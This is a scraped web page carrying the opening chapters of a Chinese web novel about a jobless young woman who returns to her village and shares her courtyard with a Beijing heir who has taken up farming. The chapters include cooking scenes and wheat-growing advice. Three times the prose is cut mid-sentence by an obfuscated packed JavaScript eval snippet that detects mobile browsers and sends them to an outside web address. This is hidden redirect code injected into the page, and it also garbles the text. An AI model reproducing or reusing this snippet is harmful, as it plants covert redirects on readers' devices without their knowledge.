《听说少爷去种地了?》 1. 回村 《好好吃饭》 伴橙/文 种地+美食+群像 - 李乘歌想过人会倒霉,但没想到,能这么倒霉。 原本稳定工作的公司在一个月前破产,她成了失业人员。 不做打工人,做了老板也没能逃过倒霉。 就在刚才,她的合伙人因为受不了苦,卷走工作室的资金就了无音讯。 现在的她简直就是一个超级可笑的倒霉蛋。 喝口凉水都塞牙的那种…… 将工作室的钥匙交给房东后,李乘歌提着一个行李箱蹲在马路旁。 蹲了半刻,她腿麻了,想站起来,但腿抖。 算了,站不起来就不站了。 李乘歌摆烂地玩起马路牙子上的落叶,这片叶子还是刚刚从东南方向飘过来的呢。 啊,原来,今天刮的是西北风啊! 李乘歌撅着嘴将落叶丢掉,余光中看着一个衣衫褴褛,头发毛毛躁躁的男子从转弯口走来。 对方一手攥着铁碗,一手拖着麻袋,颤颤巍巍地停在她面前,“好人,给点钱吧,我已经三天没吃饭了。” 李乘歌那颗同情心顿时蠢蠢欲动,掏出手机扫了他的二维码,准备转个五十。 但没转出去,支付页面无情提示:余额不足。 打开余额,噢—— 就剩下18.88元。 还挺吉利得嘞! 手机里没钱,那钱包里还有吧。 她翻出来一打开。 噢,还不如不打开呢。 6元6角。 也挺六的。 李乘歌抬头与男人四目相对,脸上神情比嘴说的还明白。 我好像比你还没钱。 对方看着如此光秃的余额,还有那么干净的钱包。眼神中都带着不忍,拿出一张毛爷爷放在李乘歌手里,鼓励道,“人生没过不去的坎,如果实在过不去了,那咱们就不过了……年轻人,你的路还长呢……” 说完,他就拎起一旁的麻袋,走到马路的另一旁,那里停着一辆骚气红的跑车。 男人打开副驾位的门,将麻袋一丢就坐回主驾驶上。 启动车辆,扬长而去。 呕吼…… 豪车啊,玛莎拉蒂呢! 玛莎拉蒂!? 他不是一个拾荒者吗? 开的是百万的豪车! 李乘歌目送跑车一骑绝尘,用表情骂了一整篇小作文。 她也是好起来了,看到活的有钱人了。 还没等她感慨人生,另外一个房东的电话打了过来。 “小姑娘啊,这个月交房租费还能交吗?你已经拖了十天嘞!” 李乘歌抿了抿嘴,手上的钱被汗水打湿,她指腹揪着衣角,“房东阿姨,抱歉啊,我不租了。” 她身上加上那人给的一百元,总共也就一百二十五元,哪里够交。 “不租了是吧?”房东阿姨语气瞬间轻快,“正好今天有人来看房!” 电话那头随即传来开门声,接着是“噗噗噗”往外扔东西的动静。 电话被挂断,李乘歌数着兜里的一百二十五元,指尖发颤。 这钱够买张返乡票,却不够买她在城里的“体面”。 她想起父母临终前说“院子永远是你的根”,突然很想看看那棵玉兰树长高了没。 她是一个从农村考出来的大学生。 她的成绩算不上突出,就是刚刚好卡在二本录取线上。 出来读了四年大学,工作了三年。 然后,公司破产,合伙人卷走了所有资金。 一朝回到解放前。 她还是要回到山里,成为大山的孩子。 老式的公交绕过十八弯的山路,李乘歌坐在前面的引擎盖上,被颠簸地有些想吐,她看向车窗外,尽量控制住自己。 熟悉的村子出现在眼前,李乘歌眼眶微微发热。 心里还是有些感谢早已离世的父母,他们给她留了一个院子,还能替他们庇护她。 公交在站牌处滞停,站牌下站着她的二伯。 二伯见车门开了,上车将她的行李提了下去。 看着她,二伯张嘴却不知说些什么,就沉默地提着行李走在一旁,走进一旁的土路。 直到距离小院还有百米处,他才停步,左手不断蹭着裤腿,“乘歌啊,你走那年,你堂哥说想娶媳妇……我寻思你在城里扎根了,就把院子租了五年,租金给他凑了彩礼。” 李乘歌停步,她定定地看着二伯,半晌后才开口,“全租出去了?” “小院就一间房,都租出去了。” 对上二伯复杂的目光,李乘歌别过头,声音都哑了,“我知道了,二伯,就送到这里,我自己走进去吧。” “那我就送到这里了。”二伯把行李放下,但还是担心地嘱咐了几句,“二伯这几天都在家,有什么事,就来找二伯。” “嗯。”李乘歌应完就提着行李往家的方向走去。 直到走到院子前,她震惊地绕着院子走了一圈。 这个布局类似北京四合院的院子是她家? 她家什么时候变得这么好看整洁了? 还没等李乘歌反应过来,小院的门被打开。 从里面走出一个身姿挺拔,穿着桑麻布衣,手里握着锄头的男人。 男人低头看着她,皱眉,“你是?” 李乘歌仰头对上他的视线,伸手指了指院子,直了直腰,努力显得自己有气势,“它的主人。” 男人眉心舒展,他记得,签订合同的时候,那人是有说过,这个院子是有个在外打工的主人,是一个二十来岁的女孩。 看来,就是眼前这个。 男人伸手,声音低沉缓慢,“你好,我是傅拭雪,你的租客。” “你的房间我没有动,我只是在房子旁修缮了一间。” 李乘歌握上了他的手,是温热的,还很宽大,带着一层薄薄的茧。 她稳住自己的失态,大方地介绍自己,“李乘歌。” “嗯。” 两人握了一秒后,就收回了手。 傅拭雪没有停留很久,大概向李乘歌说了院子的布局后就出门了。 李乘歌目送傅拭雪身影远去,拖着行李往院子里走去。 她打探着院子,虽然外表布局很像四合院,但建筑白墙灰瓦,布局以中轴线对称分列,面阔三间,中为厅堂,两侧为室。① 是很徽派风格的院子布局。 李乘歌没有打探很久,她找到院子原本就存在的那间屋。 推门进去,里面的装修是全新的,家具都是以木材为主,白墙木床,简约大气。 李乘歌将槛窗打开,同时将窗边分散的纱布用绳子固定住。房间正对着东面,此时是晌午,是日光最盛的时候,门窗打开,新鲜的空气淌进屋内,空气中还带着淡淡的玉兰香,院子后的玉兰树还在。 她走出院子,脚边滚来一团白崽子,正用湿漉漉的鼻子蹭她。 李乘歌蹲下身将白团子捧起,原来是一种不知道什么品种的白犬幼崽,白白胖胖的,闻着气味,狗味很淡,但奶香味很浓,是一只被养得很好的小家伙。 李乘歌将幼崽抱在怀里,偶尔还低头蹭了蹭。 走到后院的玉兰树下,玉兰树已经长得粗壮。 她静默地注视着。 这是她们一家人种下的,只是还没等它长大,她就离开这里了。 现在树长大了,她也回来了。 李乘歌摸着玉兰树粗糙的皮,心里像堵了团湿棉花。 她想起合伙人卷款时的冷笑,想起房东丢行李的声音—— 原来她在城里打拼多年,最后连个院子都留不住。 可这树还在,父母留下的根还在。 “爸,妈,我不是逃回来的……”她低喃,“我是回家了。” 话语落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310810|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,一滴晶莹的泪水滴落在手腕上。 是起风了吗,怎么她的眼眶热热的。 李乘歌低头,怀里的小狗拱着她,它似乎感受到她的不安情绪,用湿润的鼻尖蹭着她的掌心。 风拂过,片片玉兰花瓣飘落,李乘歌伸手,一片纯白的花瓣落在手掌中。 带着些许余温,仿佛是在告诉她,他们还在。 李乘歌吸了吸鼻,抬眸—— 对上一双清澄的眸,眸里是广阔的天地,还有一个小小的她。 是傅拭雪。 他站在对面的山坡上,手里提着一篮新鲜的春笋。 她的眼眶怎么红了。 傅拭雪皱眉,走到李乘歌身前,温声询问,“腌肉春笋,能吃吗?” 李乘歌愣怔看着他,“能吃。” “中午就吃这个。”傅拭雪将锄头换个方向,自己用手握着铁片处。 “好。”李乘歌应着。 回到院子,李乘歌将狗狗放下,狗崽子闻到熟悉的味道,瞬间就在院子里撒泼开,用尚为稚嫩的乳牙咬着傅拭雪的裤脚,然后被傅拭雪俯身抓进狗窝里才安分。 “这只狗狗是我从路边捡回来的。”说着,他顿了顿,“你不介意院子里养一只狗吧?” “介意也没事,我可以把它养在后山上。” 李乘歌摇头,蹲下揉了揉小狗的耳朵,“不介意,它叫什么?” “米饭。” 李乘歌抬眸,“米饭?” “嗯。”傅拭雪给小狗泡了一点羊奶,“吃的那个米饭。” 李乘歌垂眸,指尖小力地挠着小狗柔软的腹部,“挺可爱的。” 吃饱就睡了。 “做饭吧。”她起身,看向傅拭雪,“有什么是我可以添乱的吗?” 傅拭雪看了看厨房,将手中的笋递给她,“剥笋。” “好。”李乘歌提着篮子就往菜坛处走,找了一处坐下开剥。 傅拭雪从柴堆里拿出一捆起火竹叶,走进厨房,不一会儿,烟囱就冒出了炊烟。 日光高照,炊烟袅袅。 李乘歌坐在院子里剥笋,听着柴火噼啪作响,闻着饭菜香气混着玉兰花味,一种感觉久违地爬上心头。 将剥好的笋清洗好,除去过老的根部,她拎进厨房,拿起刀,熟练切成块。 这边食材已备好,土灶那边也出锅一碗清爽脆口的青菜。 傅拭雪舀起一勺清水浇上铁锅,再拿过一旁的竹刷把,利索地刷了一圈,再将其中的水舀走。 等锅热了下油,等油起烟了,再将肉片倒下,吱的一声轻响,油泡炸开,滚腾的油将肉片煎炸,榨出些许腌香的油脂。 傅拭雪将笋块放下,舀了三勺盐,再用锅铲搅拌均匀,再用木盖盖住大锅。 “再焖个十五分钟就好了。” “嗯。”李乘歌细嗅着柴火里的饭菜香,一双圆眸时不时提溜提溜看向土灶。 好香啊! 傅拭雪回头,就瞧见李乘歌守望的表情,不禁一笑,拿过一旁的果篮,将一串葡萄放在她手上,“先垫点肚子吧。” “噢。” 被看穿了,李乘歌脸颊微红,双手接下葡萄,搬着一个小凳子坐在院内。 春日的阳光是温和的,照在身上是暖洋洋的。 她伸手,双手做出折叠,阳光透过她的指尖,在地面上落下一个小兔子的影子。 倏尔,小兔子旁多了一个胡萝卜的影子,李乘歌抬头。 傅拭雪单手端着菜,另外一只手,三指相叠。 两人视线相对,傅拭雪侧头,碎发微微遮住眉眼,泪痣在眼下,没有饰品,干干净净的白衫。他的身上没有小说里所写的什么乌木沉香或者冷衫木质香,而是只有泥土才有的清香。 这种和自然相融和的气息。 世界都温柔下来了。 李乘歌想着。 “不玩了吗?”见人动作停住,傅拭雪轻声问。 2. 京城 李乘歌收回视线,耳垂泛红,摇头,“不玩了,想吃饭了。” 傅拭雪看了一眼时间,差不多了。 他将菜放在石桌上,“可以开饭了,我去盛,你去洗个手。” “噢。”李乘歌起身,来到水池旁,初春的井水还是有些冰凉,水流淌过指缝,将污秽尽数冲去,剩下的就是白皙柔软的嫩肉。 洗好手,她回到石桌旁,上面摆着猪油炒青菜、酸辣土豆丝和腌肉春笋。 乳白的汤覆盖着鲜嫩的笋肉,汤面上几处浮着艳红的肉粒,青翠的葱花两三相叠。 李乘歌等傅拭雪舀了一碗后,才动手给自己也舀了一碗。 汤汁到口中,齿颊留香,鲜美无比。 嫩笋带有新竹破土时的清香,风腌过的咸肉有一种强烈的咸鲜味,整碗汤的味道醇厚,精华不外溢。 一口就直直暖到胃。 再夹过一筷青菜,醇厚香味的猪油味的汤汁混在米饭里格外好吃。 院子流淌着温和的风,两人都没有开口,安静地吃完了午饭。 将碗筷收拾干净,李乘歌从厨房里出来,便看到换好桑麻布衣的傅拭雪,神情微愣,“你是要上山吗?” “我订的玉米苗到了。”傅拭雪将三轮车开出,“要一起去吗?” 似想到了什么,李乘歌瞪大了眼看着他,“我二伯不会将那十亩地也签给你了吧。” 傅拭雪笑着摇头,还没等李乘歌松口气,说道,“不止,我和附近的阿公阿婆商量,大概承包了这里两百亩地。” “哇。”李乘歌目瞪口呆,“大地主啊。” 后又疑惑道,“你来这里就是为了种地?” “算是吧。”傅拭雪没有肯定的回答。 其实他也不知道。 他只觉得弟弟的找回。 他好像就找不到自己了,他不知道自己是谁,要去往哪里。 就逃避到这里,种种地,养养鸭,试着找回自己。 回想到与李乘歌院前初次见面,和她玉兰树下空茫的神情。 和看到父母领着刚找回弟弟的自己很像。 都有着自己的迷茫。 ——迷失了方向,找不到自己。 “如果有空的话,可以和我一起去种种菜。” “就当做。”傅拭雪将球帽拉下,遮住一半的脸颊,“修身养性。” 他侧身站在光里,李乘歌仰头看着他,边际分明的下颌线,还有那随着他说话而滚动的喉结。 一瞬间,只觉得嗓子很痒。手也很痒,很想知道那下颌线摸起来是什么感觉。 大概也不会太差吧,至少看起来很帅。 “嗯。”李乘歌揉揉微热的耳垂,温吞着应了一声。 - 李乘歌坐在三轮车的后面,呼啸的风从耳边飞驰过,及腰的秀发被她扎成麻花。 来到村口,傅拭雪将玉米苗搬上车,运到种植玉米的区域放下。 搬下所有的玉米苗,傅拭雪随地坐在田埂上,他抬手擦去额前的细汗,拿过一旁的锄头,拿着锋利的一边,对着胶带中央细窄的线一剌。 里面被包裹打压着的玉米苗露出原本的模样,傅拭雪拿出其中一捆,拆去保鲜膜,里面是十株。 “你定了多少?” 李乘歌大略看了一眼箱子,里面密密麻麻都是。 “300株。” 李乘歌只感觉眼前一黑,还想挣扎一下,“有机器吗?” “没有,全人工种。”傅拭雪摇头,神情纯真又正直。 李乘歌当时就愣了一下,下意识说。 “为什么不撒种子呢?” 傅拭雪敛了敛眸,他揪着那层薄膜,语气中还有些许小脾气。 “撒了,没长出来。” “这样啊!”李乘歌讪笑,“就我们两人种?” 傅拭雪将纸盒倾斜一倒将苗全部拿出来,表情真诚,“嗯。” 李乘歌抿唇看着他圆润的狗狗眼,终于确认——他是真的没觉得这工作量有什么问题。 算了,反正闲着也是闲着。 陪他干吧。 李乘歌抱起一捧玉米苗,找了个地方蹲下,吭哧吭哧开始挖坑栽苗。 下午的阳光越发炙热,没干多久李乘歌就感觉脸颊发烫。 她抬手遮了遮阳光,还没等手放下,一顶带着泥土清香的草帽被乖乖定在头上。 看向傅拭雪,他只留下一个背影。 然后蹲在一处,栽苗。 李乘歌擦去手上的泥土,伸手摸了摸头上的草帽,帽檐处还有一朵小巧的迎春花,在风中轻轻摇曳。 她勾唇浅笑,没想到他还有这么可爱的一面。 风静静地吹过,两人的进度也不算慢,当夕阳给山峦镀上橙红的光边时,每垄土地都立起了嫩绿的幼苗。 将最后一株苗栽下,李乘歌扶着腰面目难色地直起腰。 腰肌直起的那一刻,那股酸痛直击身体里每根神经,她不忍倒吸一口。 腰要废了,腿也不是自己的了。 麻透了。 落日下的田野里,橙黄的天际中心对焦着一个挺拔的身姿。 是傅拭雪攥着水管在给小苗浇水,细密的水珠在夕阳下闪烁,像撒了一地碎金。 余晖下的田埂上,焦黄的土地上走过一个个肩挑着担的身影。 是山村最为朴实的村民在归家。 “回家。”一道带着疲惫的嗓音穿过田野来到她身旁,在耳边响起,“吃饭。” 李乘歌看着他,“干完了?” “嗯。”傅拭雪点头。 五个小时,三百株玉米苗在这片土地上安了家。 - 回到小院,李乘歌垂眸看着身上湿透又风干的衣服,汗水的酸臭味使她皱眉。 “你先去洗个澡吧。”将工具放回仓库的傅拭雪走到她身旁,轻声说,“晚上做个皮蛋瘦肉粥?” 李乘歌问,“不用我帮忙吗?” 傅拭雪摇头,“不用,很快就好。” 既然他这么说,李乘歌便回房,从行李箱里拿出一套宽松的上衣和裤子,走进浴室,简单冲洗了一下。 等她擦着头发出来时,门外响起轻轻的叩门声。 她走到门口,是傅拭雪。 傅拭雪站在门口,发梢还滴着水,换了一身粉灰家居服,整个人柔和了许多。 他将手中的竹篮往前递了递,“这些是全新的,是我早上拜托隔壁林婶去镇上带回来的,清洗过了。被褥我那里还有没用过的。如果你介意,我也可以叫个跑腿。” 李乘歌接过竹篮,摇头,“不介意,还有谢谢。” “不用谢。”傅拭雪说着就将被褥从屋内抱出,走进李乘歌的屋内,放在窗前的木桌上。 等李乘歌套好被套出来,傅拭雪正端着砂锅从厨房走出。 白粥在锅里咕嘟咕嘟地冒着泡,香气四溢,放在厅堂的木桌上。 “饿了吧?”他摆好碗筷。 闻到淡淡的瘦肉香味,李乘歌捂着肚子,的确有些饿了呢。 她走进厅堂坐下,“好香啊!” 傅拭雪浅浅一笑,给她盛了一碗。 李乘歌笑着接过粥,粥熬得香醇浓稠,皮蛋和瘦肉被稀软的白米汤包裹住,又香又软又糯,每一口都温暖妥帖。 温热的粥下胃,李乘歌瞬间笑弯了眼。 不一会儿,傅拭雪又拿来被铝纸包裹住的紫薯,放在她的面前。 “尝尝看。” 李乘歌放下手里的粥,带上一旁的手套,将紫薯掰成两份,她递出一半。 “给你。” 然后,她啃起紫薯,绵密的口感蔓延在口腔里,还有一丝清甜。 他的做饭手艺怎么会这么好,简直是食神下凡了呀! 李乘歌往傅拭雪那边探身,好奇地问,“我从进屋到现在,好像还没问过你,你是哪里人?” “户籍京城。” 李乘歌啃着紫薯抬眸,“那你怎么来这里了。” 傅拭雪舀起一勺粥,喝下才回道,“你看过真假少爷的故事吗?” “小说里的?” “小说也源于生活。”他轻笑,“我就是那个假少爷。” “啊?”李乘歌手一松,紫薯掉回碗里。 她呆呆地看着傅拭雪,一时不知该作何反应。 “抱歉啊。” 傅拭雪把她的表情尽收眼底,没再继续这个话题,起身收拾碗筷进了厨房。 月光温柔如水,李乘歌抱着软乎乎的米饭,望着厨房里那个忙碌的身影。 一种久违的、类似家的温暖在她心里蔓延。 她慌忙压下嘴角的笑意——这可不是什么好兆头。 今天才是他们相识的第一天。 她就产生了这种念头。 不安和迷茫重新涌上心头 她的未来,究竟该何去何从? - 两人互告晚安后,便回到自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310811|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的房间。 傅拭雪坐在书桌前,他给自己点了一盏小灯。 书桌上布满了计划书和种植图,上面写着小麦的护理步骤,大概成熟的时间。 傅拭雪拿出记载他前几日向村民了解的种植经验的本子。 他是半年前来到这个小山村的。 他租下这片土地两百亩,一共分为六块区域。 其中四块区域已经被他种下了主粮——小麦。 剩下的两块区域,他还没想过该种什么。 来到这里,选择种地是他的一时的决定,但怎么种地,他还真不知道。 现在回想起来,发现自己还真够大胆的。 什么计划都没有做,就花了大价钱将这里全盘租下。 要是放在以前,他想都不会想。 傅拭雪打开C站收藏的农科院科普视频,视频里讲述的声音平缓。 “小麦的一生的有十一个阶段,分别是出苗期、分蘖期、越冬期、返青期、起身期、拔节期、孕穗期、抽穗期、开花期、灌浆期、成熟期,每个阶段都有相应的护理措施……”① 视频里放着小麦相应时期生长的PPT,傅拭雪不仅认真观看了科普,还在本子上记下重点。 从播下种子到现在已经过去了两个月,他都有关注小麦的生长情况。 现在已经过去了前三个阶段,下一个应该就是返青期了。 傅拭雪在计划表里画上红圈,算算时间,这两天就是返青期了,该追肥了。 明天他还是要去地里察看完情况,才能确定追多少肥。 确定好下一步安排,傅拭雪从书籍种抬起头,他将目光投向窗外皎洁的圆月上,月光清冷,像一袭流光泄下,朦朦胧胧地罩在对面屋子后的玉兰树上。 须臾,放在桌上的手机轻震,一条消息进来了。 傅拭雪点开。 [夏叙言:我来找你种地了。] [夏叙言:等我。] 傅拭雪将消息看完,挑眉,给他回了一条。 [傅拭雪:你又惹夏叔生气了?] 那边很快就回复了。 [夏叙言:什么叫又?] [夏叙言:就是在路边捡东西被他逮到了,现在卡全停,车没收,只能投奔你了。] 想起这个好友的特殊癖好,傅拭雪目光一沉。 [傅拭雪:看你这么可怜,我就勉为其难地收留你一下吧。] [夏叙言:好,等我。] 来了也好,这样就多了一个劳动力,他也可以省一份雇人的钱。 知道夏叙言回来,但没想过回来这么快。 翌日清晨六点,傅拭雪如同往日一样起床。 打开院门,院前的石阶上就蜷缩着一个人。 一个穿着黑色风衣,头发栗黄,毛茸茸的男人。 傅拭雪侧头,在看清人后,惺松的圆咕噜狗狗眼倏尔睁大,“夏叙言?” 听到有人喊自己的名字,男人缓缓从怀里抬起脑袋。 确定眼前是傅拭雪后,男人直接丢开行李抱着人的大腿,嚎着嗓子,“傅拭雪,你怎么这么晚才来开门啊,我都快冻死了。” 傅拭雪眼角为不可察地抽动了一下,不可置信地问,“你什么时候到的?” “昨晚发完消息就买了车票来了。” 傅拭雪拿出手机,确定没有错过任何一条消息,不理解地看着他,“到了怎么不给我发消息。” “手机没电了……”夏叙言委屈巴巴。 “那你为什么不敲门?” “我不确定你是不是在这里嘛,凌晨四五点敲门,要不是你,我不得被人揍死。” 夏叙言抿了抿唇,傅拭雪来到这里就给他发了一个大概的地址和环境照片。 照片里有三四家院子,也没说住哪一家。 他当然不敢确定呀! 傅拭雪扶额苦笑。 真是个人才啊! 傅拭雪走下石阶,捡起夏叙言丢出的行李,“先进家里,外面冷。” “噢!”夏叙言懒洋洋地跟在傅拭雪身后,一双眸圆溜地打量着院子。 目光扫过东厢房时,房门“咔嚓”一声开了,从里面走出一个女人。 两人对上视线,夏叙言见那女人瞬间清醒,怔愣地盯着自己。 李乘歌看着一夜之后就出现在自家院的男人。 起初只是觉得眼熟,但下一秒她想起来了——这不就是那个开玛莎拉蒂的“拾荒者”吗? 3. 种地 李乘歌望向傅拭雪,眼里带着询问,“这位是?” 傅拭雪迎上她的目光,语气温和,“我朋友夏叙言。” 他顿了顿,补充道,“他是来找我一起种地的。” 李乘歌嘴角抽搐了一下,种地这么好玩的吗? 这么一个两个的都跑到这里来种地了。 她将目光重新放在夏叙言身上,想起那张毛爷爷,她轻咳一声,“那一百元,我会还给你的,只是得晚几天。” 说到一百元,夏叙言才认出李乘歌,原来是那个有好心但没钱的小可怜啊。 他挥了挥手,本想说不用还,但想着那一百元也是钱,也是他捡了一月垃圾换来的钱。 瞬间,他扬起一个灿烂的笑容,“好啊,不急。” 傅拭雪看穿夏叙言脸上的笑容,为不可察地皱了皱眉角。 瞬息,他松开眉角,“家里还有玉米和面条,早餐就吃这些可以吧?” 夏叙言一听,眼睛都亮了,“可以啊,我超级爱吃。” 他着急地在傅拭雪身旁转悠,催促道,“快去做吧,我肚子都快饿扁了。” “咕噜——” 李乘歌不好意思地捂住肚子,“我也饿了。” 回想起昨日吃过的两顿饭,她的胃也被傅拭雪征服了。 现在,正在咕咕咕地发出声响。 傅拭雪莞尔,转身走进厨房。他利落地剥开玉米的外衣,放进竹蒸笼,生火添柴。 等水被烧热发出咕噜咕噜的声响,傅拭雪才起身回到灶前,将铁锅中的水舀走,下油。 在油冒热气时打下三个鸡蛋,扑腾一下,油泡炸开,傅拭雪拿过锅铲翻动两下,等鸡蛋煎到两面焦黄,他拿过一旁的碟子,将煎蛋盛出放在一旁。 随后掏起竹篮里洗干净的青菜丢下,吱的一声,青菜迅速缩小,再拎过水壶倒下温水,将面条放下。 在等待面煮熟期间,傅拭雪从厨柜里拿出猪油,舀了三勺分别放进三个大碗里,在加入盐、味精和酱油,加入热水。猪油在热水中融化,直至看不见,面条也煮好了。 他将三个大碗捧到灶前,挑起面条盘旋入碗,青菜煎蛋放置面条上,再撒入葱花。 三碗热腾腾的清汤面就做好了。 三碗热气腾腾的清汤面端上桌时,李乘歌和夏叙言早已坐得端端正正。 “吃吧。”傅拭雪递过筷子。 等到指令后,两人极速动筷。 清爽的青菜缓解了猪油的油腻,咬破煎蛋,溏心的蛋黄在汤汁里融化,增加了汤底的鲜美。 清晨,能吃上这样一碗暖胃的面条,实在是件幸福的事。 不一会儿,三碗面都见了底。 李乘歌将碗筷收进厨房,清洗干净后放进一旁的沥水篮里。 早饭享用过了,日光也照散雾气中的水汽,田野显现在眼前。 夏叙言徘徊在院门前,这里的环境的确不错。 他解锁开手机,拍摄几张环境照,然后发了朋友圈。 配文:看来真的挺好。 发完后,夏叙言就收起手机,没有去看那些点赞和评论。 他目光看向一旁的木棚,里面有好多废弃掉的木材,他走进看了看,越看心情越好。 夏叙言对着屋内的傅拭雪喊道,“拭雪,这些木材还要吗?” 听到好友的呼喊,傅拭雪走到院前,看了一眼堆积在里面的废木材,“没什么用了,你需要的话就拿去。” 夏叙言点了点头,挑眉,“好勒。” 李乘歌眨了眨眼睛,足足站在原地愣了五秒,“重操旧业?” 傅拭雪也愣怔了几秒,在理解完她的意思后,帮夏叙言回道,“他大学是金融系,本职在偏也偏不到捡垃圾。” “那就是喜欢捡垃圾?” 李乘歌看向夏叙言的目光里多了一些更加说不出口的意味。 傅拭雪沉默。 这事儿,难说。 所以傅拭雪选择闭嘴。 夏叙言也没开口,他只是戏谑地看着傅拭雪,看他怎么说。 不曾想,人家压根没打算回答,转身就往外走去。 夏叙言收起眼中的笑意,敛藏起眼底的神情,朝傅拭雪喊道。 “你干嘛去?” 傅拭雪没有回头,风将他的声音带到两人耳边。 “种地。” - 返青期是小麦年后生长的第一阶段,一般在2月上中旬,时长大约在3-4周左右。① 此时小麦开始抽出1-2公分长的新叶,由紫红色变成绿青色,整体开始泛青。 当一半以上的小麦颜色泛青时,说明麦苗进入了返青期。 小麦返青期是小苗苗期的最后一个生长阶段。 做好返青期的管理,不仅使弱苗变壮苗,增加分蘖,还能提高小麦的分蘖成穗率。② 傅拭雪指腹捏过已经分蘖过一次的麦苗,他看了四块田,有些地方的因为播种过晚导致出苗率不高。有些小麦种子就算出苗了,麦苗也较弱。 这几块地都需要及时追肥。 他先拍下这块地出苗的情况,又跑去其他几块田,纷纷拍下照片。 他拍下各处麦田的照片,来到二伯家门前,轻轻叩门。 “来了。”屋内走出长者,是二伯。 二伯看清来人,不是自家侄女,神情落寞了一些,他开口问道,“拭雪啊,怎么来找李伯了。” 傅拭雪调出手机里的照片递到二伯面前,他礼貌开口。 “李伯,我今天去田里看了一下,田里的小麦看起来快进入返青期了,我今年刚刚种地,有些地方我还不太能确定,想麻烦您帮我看看,给点意见。” 二伯看了看照片,他拍了拍傅拭雪的肩膀,“正常的,后续把肥追上去就好了。” “如果我每亩都撒十斤复合肥。”傅拭雪将心中预估的量说出,“您看够吗?” “这个得看具体情况。”二伯想了想,“带我去地里看看吧。” “好。”傅拭雪将二伯带到地里。 二伯在田梗上来往走了一圈,他手里捏着土,土壤还是稍硬。 小麦生长情况整体来说还算不错,就是有几块地墒情较差,需要及时浇水。 二伯走到傅拭雪身前,他指着几块田,“麦苗50%叶尖吐水,植株发新根,是返青期。”③ “追肥,你看这几块,麦苗太稀疏了,你当时撒种的时候是不是晚了。” 傅拭雪点头,“嗯。” “撒得晚,苗的后力就跟不上。”二伯蹲下拔了两株苗,实物讲述地给傅拭雪上着课,“你看,这株苗发芽就耗尽种子内部原本的营养。这劲用完就没有了,你要给人家补啊。” “我看了一下,每亩地至少得用尿素及复合肥各20斤。” “那边几块长得旺盛的几块就不用追肥了,长得挺好的。” 傅拭雪点头,用录音笔将二伯说的话全部录下。 见傅拭雪是真的来种地,二伯也忍不住多说了一些。 “除了追肥,你还要做锄划松土,浇返青水,化学除草三件事。”④ “追完肥你就撬撬土,土质疏松了,这土才能更好的通气。像这种毛细管切断,可以阻止下层土壤水分上来,能保温、保墒呢。”⑤ “浇返青水,基本在“雨水”节气过后,这边气温会在10℃以上,这个时候觉可以根据小麦长生情况和旱情,灵活常握浇水的时间和浇水量。但水量不宜过大,更不能大水漫灌。” “麦田化学除草,用20%二四甲氯水剂,每亩用量200-250克,兑水15-20千克喷雾。一般喷药时间在返青后至拔节前,选晴朗天气,无风、无露,气温较高时喷药较好。”⑥ “这些你都要记住。”二伯拍了拍傅拭雪的肩膀,“种地真不是玩闹,想要种好一亩地,你需要花的心思多着呢。” “我知道。”傅拭雪看向二伯,轻笑道,“我不是来玩玩的,我不仅仅是想种好这些地,更是想种好自己。” “哈哈哈,你这个小年轻也是有趣嘞,现在已经很少有人种地了,种地留下的人也大部分都是我们这辈人了。”二伯打趣,“村里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310812|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻人也都去大城市打拼,你倒是回到农村里种起地来。” “我国可是农业大国,怎么会没人种地呢。”傅拭雪低声说道,“农业会有新的血液的。” 二伯闻而不语,笑着转身回家。 - 傅拭雪回到院里,大概算了一下需要的复合肥和尿素。 联系好附近厂家,订下4吨肥后,刚挂掉电话后,一妇人就跑进院子里。 妇人抓住傅拭雪的手,语气着急,“拭雪啊,你会开车对吧。” “会。”傅拭雪点了点头,察觉到妇人神情中的慌张,他开口问道,“怎么了?” “李良刚才上山,失步把自己摔进山沟,要赶紧送到镇上的医院,可是救护车从镇里开到这里还要四十分钟,等不及得。现在村里嬢嬢能想到会开车的就只有你了。” 李良是二伯的名字。 傅拭雪收起笑容,他出声先稳住妇人的情绪,“你们先不要动李伯,我带个人过去,先看情况。” “噢。”妇人呆呆点了点头,心中的恐慌不觉中就被傅拭雪冷静的情绪平缓下来。 傅拭雪让夏叙言快速用废木材和布料做了一个简易的应急救援床。 李乘歌得知二伯踩空掉下山沟,心里虽很急,但不能傅拭雪和夏叙言带来压力,她沉默地站在一旁,看两人将木材组装。 三人不敢耽搁,做好救援床后立刻就来到李良身处的山沟,通过之前学到的救援知识,将人转移到车上。 